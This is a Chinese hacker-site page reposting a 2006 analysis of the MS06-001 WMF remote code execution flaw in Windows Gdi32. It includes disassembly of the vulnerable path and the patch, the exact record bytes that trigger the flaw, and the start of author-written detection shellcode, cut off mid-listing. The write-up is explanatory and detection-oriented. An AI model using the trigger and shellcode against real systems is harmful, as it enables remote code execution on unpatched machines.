| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 黑客技术 >> 黑客教学 >> 文章正文 用户登录 新用户注册
  MS06001 图形呈现引擎(WMF)漏洞分析学习手记         ★★★ 【字体:
MS06001 图形呈现引擎(WMF)漏洞分析学习手记
作者:killer    文章来源:www.xfocus.net    点击数:    更新时间:2006-1-24    

图形呈现引擎中由于其处理 Windows 图元文件 (WMF) 图像的方式而存在一个远程执行代码漏洞。据FlashSky所言是MS早期在处理OLE而在WMF(没有考虑安全)中定义的功能。漏洞因0day方式传播而导致漏洞被曝光。Win2000、XPsp1、XPsp2代码略有不同,如下代码是XPsp1的。 


一、漏洞分析: 

    漏洞出现的问题是在PlayMetaFile函数中,函数调用关系如下: 
     
    Gdi32.dll!PlayMetaFile 
                PlayMetaFileRecord 
                   Escape 
                     SetAbortProc 

    在PlayMetaFileRecord函数中将比较wmf格式中的相关Record结构,如果该标记不为0X49和后续的标记不为0X0f则转向跳到ESCAPE函数上,ESCAPE会允许设置为wmf一个段当作代码,并将这个地址传送给sETaBORTpROC,在sETaBORTpROC函数返回的时候,WMF文件中的代码将会被执行。 
    在WMF文件头中增加如下Record可以激活漏洞:11 00 00 00 26 06 09 00 16 00 


.TEXT:77c4b65c           PUSH  [EBP+UfLAGS]            ; CASE 0X26 
.TEXT:77c4b65f           PUSH  EBX 
.TEXT:77c4b660           CALL  _pLAYiNTOamETAFILE@8    ; pLAYiNTOamETAFILE(X,X) 
.TEXT:77c4b665           CMP   EAX, EDI 
.TEXT:77c4b667           MOV   [EBP+VAR_4], EAX 
.TEXT:77c4b66a           JNZ   LOC_77c4b424 
.TEXT:77c4b670           MOV   AX, [EBX+6]        ;AX=09=sETaBORTpROC 
.TEXT:77c4b674           CMP   AX, 0fH 
.TEXT:77c4b678           JNZ   LOC_77c5fc0a 
... 
.TEXT:77c61062           SUB   EDI, 6            ;将9进行减去三次,如果在减6为0 
.TEXT:77c61065           JZ    SHORT LOC_77c61090    ;则跳到sETaBORTpROC函数 
... 
.TEXT:77c61090           PUSH  [EBP+ARG_c]             ; abortproc 
.TEXT:77c61093           PUSH  [EBP+ARG_0]             ; hdc 
.TEXT:77c61096           CALL  _sETaBORTpROC@8         ; sETaBORTpROC函数将返回1 
... 
.TEXT:77c604c8           MOV   EAX, [EAX+14H]        ;代码地址传入eax 
.TEXT:77c604cb           CMP   EAX, ECX            ;如果该地址为空跳走 
.TEXT:77c604cd           JZ    LOC_77c4b286 
.TEXT:77c604d3           PUSH  ECX 
.TEXT:77c604d4           PUSH  EDI 
.TEXT:77c604d5           CALL  EAX            ;执行wmf文件中的代码! 
.TEXT:77c604d7           TEST  EAX, EAX 
.TEXT:77c604d9           JZ    LOC_77c5c87b 
.TEXT:77c604df           JMP   LOC_77c4b286 

  

补丁改动: 

    MS修补这个漏洞采用直接比较是否为0x09,如果是则不走入Escape函数,直接返回。 

7F032200    837C24 04 09          CMP DWORD PTR SS:[ESP+4],9   ;直接比较标记是否为09 
7F032205    74 08                 JE SHORT GDI32.7F03220F 
7F032207    837C24 04 0F          CMP DWORD PTR SS:[ESP+4],0F 
7F03220C    74 01                 JE SHORT GDI32.7F03220F 
7F03220E    40                    INC EAX 
7F03220F    C2 0400               RETN 4 

  

二、检测Shellcode: 

    为检测主机是否存在漏洞,构造了一个WMF文件,发现现有的ShellCode无不是为了入侵(add user&downexec),流传的那个0day会崩掉Explorer.exe,于是自己写了一个简易弹出提醒对话框的Shellcode,代码如下: 

    __asm 
    { 
        pushad 
        sub esp, 100;  
        mov ebp,esp; 
        mov eax,fs:0x30     
        mov eax,[eax+0x0c] 
        mov esi,[eax+0x1c] 
        lodsd                 
        mov edi,[eax+0x08] 
        mov eax, [edi+3Ch] 
        mov edx,[edi+eax+78h] 
        add edx,edi                 
        mov ecx,[edx+18h] 
            mov ebx,[edx+20h]                  
        add ebx,edi                                 
sa: 
        dec ecx 
        mov esi,[ebx+ecx*4]                 
        add esi,edi     
        mov eax,0x50746547 
        cmp [esi],    eax 
        jne sa 
        mov eax,0x41636f72 
        cmp [esi+4],eax 
        jne sa                 
            mov ebx,[edx+24h] 
        add ebx,edi 
        mov cx,[ebx+ecx*2] 
            mov ebx,[edx+1Ch] 
        add ebx,edi 
        mov eax,[ebx+ecx*4]             
        add eax,edi             
        mov [

[1] [2] 下一页

文章录入:IceRiver    责任编辑:IceRiver 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    MSN视频暗藏杀机 微软补丁忙
    MSSQL数据库SA权限入侵的感悟
    MSN Space大赛官方网站入侵经
    瑞星公司09月06日发布 每日计
    Thomson SpeedTouch 2030 SI
    “MSN性感相册”病毒变种多达
    机构数据: QQ市场占有率为M
    微软携安全厂商建统一战线 M
    QQ和MSN成传播病毒重要渠道
    通过MSN传播的IRCBot msnmsg
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.